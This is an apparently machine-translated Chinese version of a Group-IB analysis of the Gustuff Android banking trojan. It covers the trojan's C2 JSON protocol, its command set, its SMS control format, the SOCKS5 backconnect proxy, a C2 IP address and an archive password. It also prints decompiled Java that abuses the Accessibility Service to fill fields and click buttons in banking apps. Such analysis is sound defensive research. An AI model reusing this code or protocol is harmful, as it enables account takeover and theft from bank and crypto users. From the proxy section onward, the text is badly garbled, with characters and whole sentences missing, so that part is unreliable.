Android Gustuff木马如何从您的帐户中删除奶油(法定和加密货币)



就在前几天,Group-IB 报告了Android移动Trojan Gustuff的活动。 它仅在国际市场上运作,攻击100家最大的外国银行的客户,32个移动加密钱包的用户以及庞大的电子商务资源。 但古斯塔夫(Gustuff)的开发商是俄语的网络犯罪分子,绰号为Bestoffer。 直到最近,他还称赞他的木马程序“对有知识和经验的人来说是一种严肃的产品”。

分析Group-IB恶意代码专家Ivan Pisarev在他的研究中详细讲述了Gustuff的工作原理及其危害。

古斯塔夫在寻找谁?


Gustuff是具有全自动功能的新一代恶意软件。 根据开发人员的说法,该木马已成为AndyBot恶意软件的新改进版本,自2017年11月以来,该恶意软件一直在攻击Android手机并通过伪装成知名国际银行和支付系统的移动应用程序的网络钓鱼形式窃取资金。 Bestoffer报道说,古斯塔夫·波特的租金为每月800美元。

对Gustuff样本的分析表明,该木马可能针对使用最大银行的移动应用程序的客户,例如美国银行,苏格兰银行,摩根大通,富国银行,Capital One,TD银行,PNC银行以及比特币钱包,BitPay加密钱包,Cryptopay,Coinbase等。

Gustuff最初是作为经典的银行木马创建的,当前的版本大大扩展了潜在的攻击目标。 除了银行,金融科技公司和加密服务的Android应用程序之外,Gustuff还面向市场应用程序,在线商店,支付系统和即时通讯程序的用户。 特别是PayPal,Western Union,eBay,Walmart,Skype,WhatsApp,Gett Taxi,Revolut等。

切入点:大规模感染的计算


Gustuff的特征是通过带有链接到APK的SMS邮件渗透到Android智能手机的“经典”载体。 如果在服务器的命令下Android设备感染了木马,则Gustuff可能会通过受感染手机的通讯录数据库或服务器数据库进一步传播。 Gustuff的功能专为大规模感染和运营商业务的最大资本化而设计-它具有独特的功能,可以“自动填充”到合法的移动银行应用程序和加密货币钱包中,从而使您能够加速并扩大盗窃资金的规模。

对特洛伊木马的研究表明,自动填充功能是通过使用“无障碍服务”(残疾人服务)实现的。 Gustuff并不是第一个成功绕过保护功能的木马程序,该功能可以防止与使用此Android服务的其他应用程序的窗口元素进行交互。 但是,将辅助功能服务与自动加载结合使用仍然很少。

将受害者下载到手机后,Gustuff使用Accessibility Service获得了与其他应用程序(银行,加密货币以及用于在线购物,消息传递等的应用程序)的窗口元素进行交互的机会,从而为攻击者执行了必要的操作。 例如,在服务器的命令下,木马可以单击按钮并更改银行应用程序中文本字段的值。 使用无障碍服务机制,特洛伊木马可以绕过银行用来抵抗上一代移动特洛伊木马的保护机制,以及Google在新版Android OS中引入的安全策略的更改。 因此,古斯塔夫“知道如何”禁用Google Protect保护:根据作者的说法,此功能在70%的情况下都有效。



Gustuff还可以显示带有合法移动应用程序图标的假PUSH通知。 用户单击“推送”通知,然后看到从服务器下载的网络钓鱼窗口,他本人在该窗口中输入了所请求的银行卡或加密钱包数据。 在另一个Gustuff方案中,将打开一个代表显示PUSH通知的应用程序。 在这种情况下,根据服务器通过辅助功能服务的命令,恶意程序可以填写银行应用程序的表单字段以进行欺诈性交易。

Gustuff的功能还包括将有关受感染设备的信息发送到服务器,读取/发送SMS消息,发送USSD请求,启动SOCKS5代理,跟随链接,将文件(包括文档的照片扫描,屏幕截图,照片)发送到服务器的功能。将设备重置为出厂设置。

恶意软件分析


在安装恶意应用程序之前,Android OS向用户显示一个窗口,其中包含Gustuff请求的权限列表:

图片替代

仅在获得用户同意后才能安装应用程序。 启动该应用程序后,该木马程序将向用户显示一个窗口:

图片替代

然后它将删除其图标。

根据作者的说法,古斯塔夫是由FTT包装商包装的。 启动后,应用程序会定期访问CnC服务器以接收命令。 在我们检查的几个文件中,IP地址88.99.171 [。] 105被用作控制服务器(在下面,我们将其指定为<%CnC%> )。

启动后,程序开始向服务器http:// <%CnC%> /api/v1/get.php发送消息。

作为回答,JSON应采用以下格式:

{ "results" : "OK", "command":{ "id": "<%id%>", "command":"<%command%>", "timestamp":"<%Server Timestamp%>", "params":{ <%Command parameters as JSON%> }, }, } 

每次应用程序发送有关受感染设备的信息时。 消息的格式如下所示。 值得注意的是, fullextraappsPermission字段是可选的,仅在来自CnC的请求命令的情况下才发送。

 { "info": { "info": { "cell":<%Sim operator name%>, "country":<%Country ISO%>, "imei":<%IMEI%>, "number":<%Phone number%>, "line1Number":<%Phone number%>, "advertisementId":<%ID%> }, "state": { "admin":<%Has admin rights%>, "source":<%String%>, "needPermissions":<%Application needs permissions%>, "accesByName":<%Boolean%>, "accesByService":<%Boolean%>, "safetyNet":<%String%>, "defaultSmsApp":<%Default Sms Application%>, "isDefaultSmsApp":<%Current application is Default Sms Application%>, "dateTime":<%Current date time%>, "batteryLevel":<%Battery level%> }, "socks": { "id":<%Proxy module ID%>, "enabled":<%Is enabled%>, "active":<%Is active%> }, "version": { "versionName":<%Package Version Name%>, "versionCode":<%Package Version Code%>, "lastUpdateTime":<%Package Last Update Time%>, "tag":<%Tag, default value: "TAG"%>, "targetSdkVersion":<%Target Sdk Version%>, "buildConfigTimestamp":1541309066721 }, }, "full": { "model":<%Device Model%>, "localeCountry":<%Country%>, "localeLang":<%Locale language%>, "accounts":<%JSON array, contains from "name" and "type" of accounts%>, "lockType":<%Type of lockscreen password%> }, "extra": { "serial":<%Build serial number%>, "board":<%Build Board%>, "brand":<%Build Brand%>, "user":<%Build User%>, "device":<%Build Device%>, "display":<%Build Display%>, "id":<%Build ID%>, "manufacturer":<%Build manufacturer%>, "model":<%Build model%>, "product":<%Build product%>, "tags":<%Build tags%>, "type":<%Build type%>, "imei":<%imei%>, "imsi":<%imsi%>, "line1number":<%phonenumber%>, "iccid":<%Sim serial number%>, "mcc":<%Mobile country code of operator%>, "mnc":<%Mobile network codeof operator%>, "cellid":<%GSM-data%>, "lac":<%GSM-data%>, "androidid":<%Android Id%>, "ssid":<%Wi-Fi SSID%> }, "apps":{<%List of installed applications%>}, "permission":<%List of granted permissions%> } 

配置数据存储


Gustuff将重要的工作信息存储在首选项文件中。 文件名以及其中的参数名是从行15413090667214.6.1 <%name%>中计算MD5总和的结果,其中<%name%>是原始名称值。 名称生成函数的Python解释:

  nameGenerator(input): output = md5("15413090667214.6.1" + input) 

在下文中,我们将其表示为nameGenerator(输入)

因此,第一个文件的名称是: nameGenerator(“ API_SERVER_LIST”) ,它包含具有以下名称的值:

变量名价值
nameGenerator(“ API_SERVER_LIST”)包含CnC地址列表作为数组。
nameGenerator(“ API_SERVER_URL”)包含一个CnC地址。
nameGenerator(“ SMS_UPLOAD”)该标志是默认设置的。 如果设置了此标志,则将SMS消息发送到CnC。
nameGenerator(“ SMS_ROOT_NUMBER”)被感染设备接收到的SMS消息将被发送到的电话号码。 默认为空。
nameGenerator(“ SMS_ROOT_NUMBER_RESEND”)默认情况下,该标志被清除。 如果已安装,则当受感染的设备收到SMS时,它将发送到根号。
nameGenerator(“ DEFAULT_APP_SMS”)默认情况下,该标志被清除。 如果设置了此标志,则应用程序将处理传入的SMS消息。
nameGenerator(“ DEFAULT_ADMIN”)默认情况下,该标志被清除。 如果设置了该标志,则该应用程序具有管理员权限。
nameGenerator(“ DEFAULT_ACCESSIBILITY”)默认情况下,该标志被清除。 如果设置了该标志,则启动使用辅助功能的服务。
nameGenerator(“ APPS_CONFIG”)JSON对象包含一个与特定应用程序关联的Accessibility事件触发时必须执行的操作的列表。
nameGenerator(“ APPS_INSTALLED”)存储设备上安装的应用程序列表。
nameGenerator(“ IS_FIST_RUN”)该标志在首次启动时被重置。
nameGenerator(“ UNIQUE_ID”)包含唯一标识符。 它是在bot首次启动时生成的。

服务器命令处理模块


该应用程序将CnC服务器的地址存储为Base85编码的字符串数组。 收到适当的命令后,即可更改CnC服务器列表,在这种情况下,地址将存储在首选项文件中。

响应该请求,服务器将命令发送到应用程序。 值得注意的是,命令和参数以JSON格式显示。 应用程序可以处理以下命令:
团队内容描述
forwardStart开始将受感染设备收到的SMS消息发送到CnC服务器。
前进停止停止将受感染设备收到的SMS消息发送到CnC服务器。
ussdRun运行USSD请求。 您要向其发出USSD请求的号码位于JSON字段“号码”中。
sendSms发送一条SMS消息(如有必要,该消息被“拆分”为多个部分)。 作为参数,该命令采用一个JSON对象,该对象包含“收件人”字段-目标号码和“正文”-消息正文。
sendSmsAb从受感染设备的联系人列表向所有人发送SMS消息(如有必要,将消息“拆分”为多个部分)。 发送消息之间的间隔为10秒。 消息正文在JSON字段“ body”中
sendSmsMass向命令参数中指定的联系人发送SMS消息(如有必要,将消息“拆分”为多个部分)。 发送消息之间的间隔为10秒。 作为参数,该命令接受一个JSON数组(字段“ sms”),其元素包含字段“ to”(目标号码)和“ body”(消息正文)。
changeServer该命令作为参数可以使用键“ url”获取值-机器人将更改nameGenerator(“ SERVER_URL”)或“ array”的值-然后机器人将数组写入nameGenerator(“ API_SERVER_LIST”)。因此,应用程序更改了CnC服务器的地址。
adminNumber该命令旨在使用根号。 该命令接受具有以下参数的JSON对象:“数字”-将nameGenerator(“ ROOT_NUMBER”)更改为接收值,“重新发送”-更改nameGenerator(“ SMS_ROOT_NUMBER_RESEND”),“ sendId”-发送给nameGenerator(“ ROOT_NUMBER”)唯一ID。
updateInfo将有关受感染设备的信息发送到服务器。
擦拭数据该命令旨在删除用户数据。 根据启动应用程序的名称,随着设备重启(主用户)完全删除数据,或者仅删除用户数据(辅助用户)。
socks开始启动代理模块。 模块的操作在单独的部分中进行描述。
袜子停止停止代理模块。
开放链接按照链接。 该链接位于键“ URL”中的JSON参数中。 要打开链接,请使用“ android.intent.action.VIEW”。
uploadAllSms将设备收到的所有SMS消息发送到服务器。
uploadAllPhotos将图像从受感染的设备发送到URL。 URL作为参数。
uploadFile将文件发送到受感染设备的URL。 URL作为参数。
uploadPhoneNumbers将电话号码从联系人列表发送到服务器。 如果带有键“ ab”的JSON对象作为参数,则应用程序将从电话簿中接收联系人列表。 如果带有“ sms”键的JSON对象作为参数,则应用程序将从SMS消息的发件人中读取联系人列表。
changeArchive该应用程序从地址下载文件,该地址作为带有键“ url”的参数来提供。 下载的文件以“ archive.zip”的名称保存。 之后,如果需要,应用程序将使用存档文件“ b5jXh37gxgHBrZhQ4j3D”的密码来解压缩文件。 解压缩的文件保存在[external storage] / hgps目录中。 该应用程序在此目录中存储Web伪造品(稍后描述)。
行动该命令旨在与Action Service一起使用,这将在单独的部分中进行描述。
测试它什么也没做。
资料下载该命令旨在从远程服务器下载文件并将其保存到Downloads目录。 URL和文件名作为参数,JSON对象参数中的字段分别为:“ url”和“ fileName”。
删除从下载目录中删除文件。 文件名位于JSON参数中,键为“ fileName”。 默认文件名为“ tmp.apk”。
通知事项显示包含管理服务器定义的描述和标题文本的通知。

通知命令的格式为:

 { "results" : "OK", "command":{ "id": <%id%>, "command":"notification", "timestamp":<%Server Timestamp%>, "params":{ "openApp":<%Open original app or not%>, "array":[ {"title":<%Title text%>, "desc":<%Description text%>, "app":<%Application name%>} ] }, }, } 

由调查文件生成的通知看起来与在应用程序字段中指定的应用程序创建的通知相同。 如果openApp字段的值为True,则在打开通知时,将启动在app字段中指定的应用程序 。 如果openApp字段的值为False,则:

  • 网络钓鱼窗口打开,其内容从目录<%external storage%> / hgps / <%filename%>下载
  • 将打开一个网络钓鱼窗口,该钓鱼窗口的内容是从服务器<%url%>下载的吗?id = <%Bot id%>&app = <%应用程序名称%>
  • 伪装成Google Play卡的网络钓鱼窗口打开,并具有输入卡信息的功能。

该应用程序将任何命令的执行结果作为以下格式的JSON对象发送到<%CnC%> \ set_state.php

 { "command": { "command":<%command%>, "id":<%command_id%>, "state":<%command_state%> } "id":<%bot_id%> } 

行动服务

应用程序处理的命令列表包括action 。 一旦接收到命令,命令处理模块就访问该服务以便执行扩展命令。 该服务接受JSON对象作为参数。 服务可以执行以下命令:

1. PARAMS_ACTION-在接收到这样的命令后,服务首先通过Type密钥从JSON参数接收值,它可能如下:

  • serviceInfo-子命令从JSON参数接收includeNotImportant键的值。 如果该标志为True,则应用程序将FLAG_ISOLATED_PROCESS标志设置为使用可访问性服务的服务。 因此,该服务将在单独的过程中启动。
  • root-获取有关窗口的信息并将其发送到服务器,该窗口现已成为焦点。 应用程序使用AccessibilityNodeInfo类检索信息。
  • admin-请求管理员权限。
  • 延迟 -将ActionsService暂停参数中使用“数据”键指定的毫秒数。
  • windows-发送对用户可见的窗口列表。
  • 安装 -在受感染的设备上安装该应用程序。 包的名称-存档在键“ fileName”中。 存档本身位于下载目录中。
  • 全局 -子命令旨在从当前窗口过渡:
    • 在快速设置菜单上
    • 回去
    • 到通知
    • 到最近打开的应用程序的窗口

  • 启动 -启动应用程序。 应用程序的名称作为数据键的参数来使用。
  • 声音 -将声音模式更改为静音。
  • 解锁 -以全亮度打开屏幕和键盘的背光。 应用程序使用WakeLock(字符串[Application lable]:INFO)执行此操作。
  • PermissionOverlay-函数未实现(对命令执行的响应为{“ message”:“不支持”}或{“ message”:“低sdk”})
  • 手势 -未实现该功能(命令执行的响应为{“ message”:“不支持”}或{“ message”:“ Low API”})
  • 权限 -需要此命令才能请求该应用程序的权限。 但是,查询功能未实现,因此该命令没有意义。 请求的权限列表以JSON数组的形式提供,键为“ permissions”。 标准清单:

    • android.permission.READ_PHONE_STATE
    • android.permission.READ_CONTACTS
    • android.permission.CALL_PHONE
    • android.permission.RECEIVE_SMS
    • android.permission.SEND_SMS
    • android.permission.READ_SMS
    • android.permission.READ_EXTERNAL_STORAGE
    • android.permission.WRITE_EXTERNAL_STORAGE

  • 打开 -显示网络钓鱼窗口。 根据来自服务器的参数,应用程序可能会显示以下网络钓鱼窗口:

    • 显示一个网络钓鱼窗口,其内容写入目录<%external directory%> / hgps / <%param_filename%>中的文件中 。 用户与窗口交互的结果将发送到<%CnC%> / records.php
    • 显示一个网络钓鱼窗口,该窗口的内容是从地址<%url_param%>中预加载的?id = <%bot_id%>&app = <%packagename%> 。 用户与窗口交互的结果将发送到<%CnC%> / records.php
    • 显示伪装为Google Play卡的网络钓鱼窗口。
  • 交互式 -该命令旨在使用AcessibilityService与其他应用程序的窗口元素进行交互。 为了进行交互,在程序中实现了特殊服务。 正在研究的应用程序可以与Windows交互:
    • 目前处于活跃状态。 在这种情况下,参数包含需要与之交互的对象的ID或文本(名称)。
    • 在执行命令时对用户可见。 该应用程序通过ID选择窗口。

    接收到感兴趣的窗口元素的AccessibilityNodeInfo对象后,该应用程序可以根据参数执行以下操作:
    • focus-将焦点设置为对象。
    • 单击-单击一个对象。
    • actionId-按ID执行操作。
    • setText-更改对象的文本。 您可以通过两种方式更改文本:执行ACTION_SET_TEXT操作(如果受感染设备的Android版本较新或等于LOLLIPOP ),或者在剪贴板中放置一行并将其粘贴到对象中(对于较旧的版本)。 此命令可用于更改银行应用程序中的数据。

2. PARAMS_ACTIONS-PARAMS_ACTION相同,仅命令的JSON数组出现。

似乎许多人会对与另一个应用程序的窗口元素进行交互的功能的外观感兴趣。 这是在Gustuff中实现此功能的方式:

 boolean interactiveAction(List aiList, JSONObject action, JsonObject res) { int count = action.optInt("repeat", 1); Iterator aiListIterator = ((Iterable)aiList).iterator(); int count = 0; while(aiListIterator.hasNext()) { Object ani = aiListIterator.next(); if(1 <= count) { int index; for(index = 1; true; ++index) { if(action.has("focus")) { if(((AccessibilityNodeInfo)ani).performAction(1)) { ++count; } } else if(action.has("click")) { if(((AccessibilityNodeInfo)ani).performAction(16)) { ++count; } } else if(action.has("actionId")) { if(((AccessibilityNodeInfo)ani).performAction(action.optInt("actionId"))) { ++count; } } else if(action.has("setText")) { customHeader ch = CustomAccessibilityService.a; Context context = this.getApplicationContext(); String text = action.optString("setText"); if(performSetTextAction(ch, context, ((AccessibilityNodeInfo)ani), text)) { ++count; } } if(index == count) { break; } } } ((AccessibilityNodeInfo)ani).recycle(); } res.addPropertyNumber("res", Integer.valueOf(count)); } 

文字替换功能:

 boolean performSetTextAction(Context context, AccessibilityNodeInfo ani, String text) { boolean result; if(Build$VERSION.SDK_INT >= 21) { Bundle b = new Bundle(); b.putCharSequence("ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE", ((CharSequence)text)); result = ani.performAction(0x200000, b); // ACTION_SET_TEXT } else { Object clipboard = context.getSystemService("clipboard"); if(clipboard != null) { ((ClipboardManager)clipboard).setPrimaryClip(ClipData.newPlainText("autofill_pm", ((CharSequence)text))); result = ani.performAction(0x8000); // ACTION_PASTE } else { result = false; } } return result; } 

因此,如果控制服务器配置正确,则Gustuff能够填写银行应用程序中的文本字段,然后单击交易所需的按钮。 特洛伊木马程序甚至不需要在应用程序中得到授权-只需发送命令以演示PUSH通知,然后打开先前安装的银行应用程序即可。 用户将通过授权,之后Gustuff将能够自动填充。

短信处理模块


应用程序将事件处理程序设置为接受受感染设备的SMS消息。 所研究的应用程序可以从操作员接收SMS消息正文中的命令。 命令采用以下格式:

7!5 = <%Base64编码的命令%>

该应用程序在所有传入的SMS消息中搜索字符串7!5 = ,如果它检测到字符串,则它将在偏移量4处解码Base64字符串并执行命令。 命令类似于使用CnC的命令。 执行结果将发送到命令发出的相同编号。 答案格式:

7 * 5 = <%的“ result_code命令”的Base64编码%

(可选)应用程序可以将所有收到的消息发送到根号。 为此,必须在首选项文件中指定根号,并设置消息重定向标志。 SMS消息的格式为:

<%from number%>-<%时间,格式:dd / MM / yyyy HH:mm:ss%> <%SMS正文%>

同样,应用程序可以选择将消息发送到CnC。 SMS消息以JSON格式发送到服务器:

 { "id":<%BotID%>, "sms": { "text":<%SMS body%>, "number":<%From number%>, "date":<%Timestamp%> } } 

如果设置了标志名称生成器(“ DEFAULT_APP_SMS”) ,则应用程序将停止处理SMS消息并清除传入消息列表。

代理模块


在所研究的应用程序中,有一个Backconnect Proxy模块(以下称为Proxy模块),该模块具有一个单独的类,该类包含具有配置的静态字段。 配置数据以开放格式存储在样本中:

图片替代


代理模块执行的所有操作均记录到文件中。 为此,外部存储中的应用程序创建一个名为“ logs”的目录(配置类中的ProxyConfigClass.logsDir字段),该目录中存储了日志文件。 记录发生在具有以下名称的文件中:

  1. main.txt-此类记录名为CommandServer的类操作。 将字符串str进一步记录到该文件中将表示为mainLog(str)。
  2. session-<%id%>。txt-与特定代理会话关联的日志数据已保存到此文件。 将字符串str进一步记录到该文件的过程将称为sessionLog(str)。
  3. server.txt-此数据记录写入上述文件的所有数据。

日志数据格式:

<%Date%> [线程[<%线程ID%>],ID []]:日志字符串

代理模块操作期间发生的异常也记录到文件中。 为此,应用程序生成以下格式的JSON对象:

 { "uncaughtException":<%short description of throwable%> "thread":<%thread%> "message":<%detail message of throwable%> "trace": //Stack trace info [ { "ClassName": "FileName": "LineNumber": "MethodName": }, { "ClassName": "FileName": "LineNumber": "MethodName": } ] } 

然后将其转换为字符串表示形式并进行记录。

收到相应团队后,将启动代理模块。 当命令到达以启动Proxy模块时,应用程序将启动一个名为MainService的服务,该服务负责控制Proxy模块的操作-其启动和停止。

启动服务的阶段:

1.启动一个计时器,该计时器每分钟工作一次,并检查代理模块的活动。 如果模块未激活,则将其启动。
另外,触发android.net.conn.CONNECTIVITY_CHANGE事件时,代理模块也会启动。

2.应用程序使用PARTIAL_WAKE_LOCK参数创建唤醒锁并捕获它。 因此,它不允许设备的CPU进入睡眠模式。

3.首先登录mainLog行(“启动服务器”)并启动代理模块命令处理类,然后

服务器::开始()主机[<%proxy_cnc%>],commandPort [<%command_port%>],proxyPort [<%proxy_port%>]

其中proxy_cnc,command_port和proxy_port是从代理服务器配置获得的参数。

命令处理类称为CommandConnection 。 启动后,它将立即执行以下操作:

4.连接到ProxyConfigClass.host:ProxyConfigClass.commandPort并以JSON格式向其中发送有关受感染设备的数据:

 { "id":<%id%>, "imei":<%imei%>, "imsi":<%imsi%>, "model":<%model%>, "manufacturer":<%manufacturer%>, "androidVersion":<%androidVersion%>, "country":<%country%>, "partnerId":<%partnerId%>, "packageName":<%packageName%>, "networkType":<%networkType%>, "hasGsmSupport":<%hasGsmSupport%>, "simReady":<%simReady%>, "simCountry":<%simCountry%>, "networkOperator":<%networkOperator%>, "simOperator":<%simOperator%>, "version":<%version%> } 

其中:

  • id-标识符,尝试从名称为“ x”的共享首选项文件中获取字段为“ id”的值。 如果无法获得该值,它将生成一个新值。 , Proxy- ̆ , ̆ Bot ID.
  • imei — IMEI ̆. — .
  • imsi — International Mobile Subscriber Identity ̆. — .
  • model — The end-user-visible name for the end product.
  • manufacturer — The manufacturer of the product/hardware (Build.MANUFACTURER).
  • androidVersion — "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • country — ̆.
  • partnerId – .
  • packageName – package name.
  • networkType — (: «WIFI», «MOBILE»). null.
  • hasGsmSupport – true – GSM, false.
  • simReady – SIM-.
  • simCountry — ISO- ( ̆ -).
  • networkOperator — . — .
  • simOperator — The Service Provider Name (SPN). — .
  • version — -, ̆ «1.6».

5. . :

  • 0 offset – command
  • 1 offset – sessionId
  • 2 offset – length
  • 4 offset — data

:

mainLog(«Header { sessionId<%id%>], type[<%command%>], length[<%length%>] }»)

:

NameCommandData内容描述
connectionId0Connection ID
SLEEP3时间Proxy-
PING_PONG4--PONG-

PONG- 4 : 0x04000000 .

connectionId ( ) CommandConnection ProxyConnection .

  • : ProxyConnection end . ProxyConnection ProxyConfigClass.host : ProxyConfigClass.proxyPort JSON-:

  { "id":<%connectionId%> } 

SOCKS5-, , . ̆ end . :

图片替代

̆


̆ CnC- SSL. JSON-. :

  • http://<%CnC%>/api/v1/set_state.php — .
  • http://<%CnC%>/api/v1/get.php — .
  • http://<%CnC%>/api/v1/load_sms.php — SMS-̆ ̆.
  • http://<%CnC%>/api/v1/load_ab.php — ̆.
  • http://<%CnC%>/api/v1/aevents.php – , preference-̆.
  • http://<%CnC%>/api/v1/set_card.php — , -, Google Play Market.
  • http://<%CnC%>/api/v1/logs.php – -.
  • http://<%CnC%>/api/v1/records.php – , .
  • http://<%CnC%>/api/v1/set_error.php – ̆ .


, , .

, . , , .

– - , , -, , , , , .

:


  • Android - , Google Play;
  • ;
  • Android;
  • ;
  • ;
  • , SMS-.

, Group-IB.

Source: https://habr.com/ru/post/zh-CN446948/


All Articles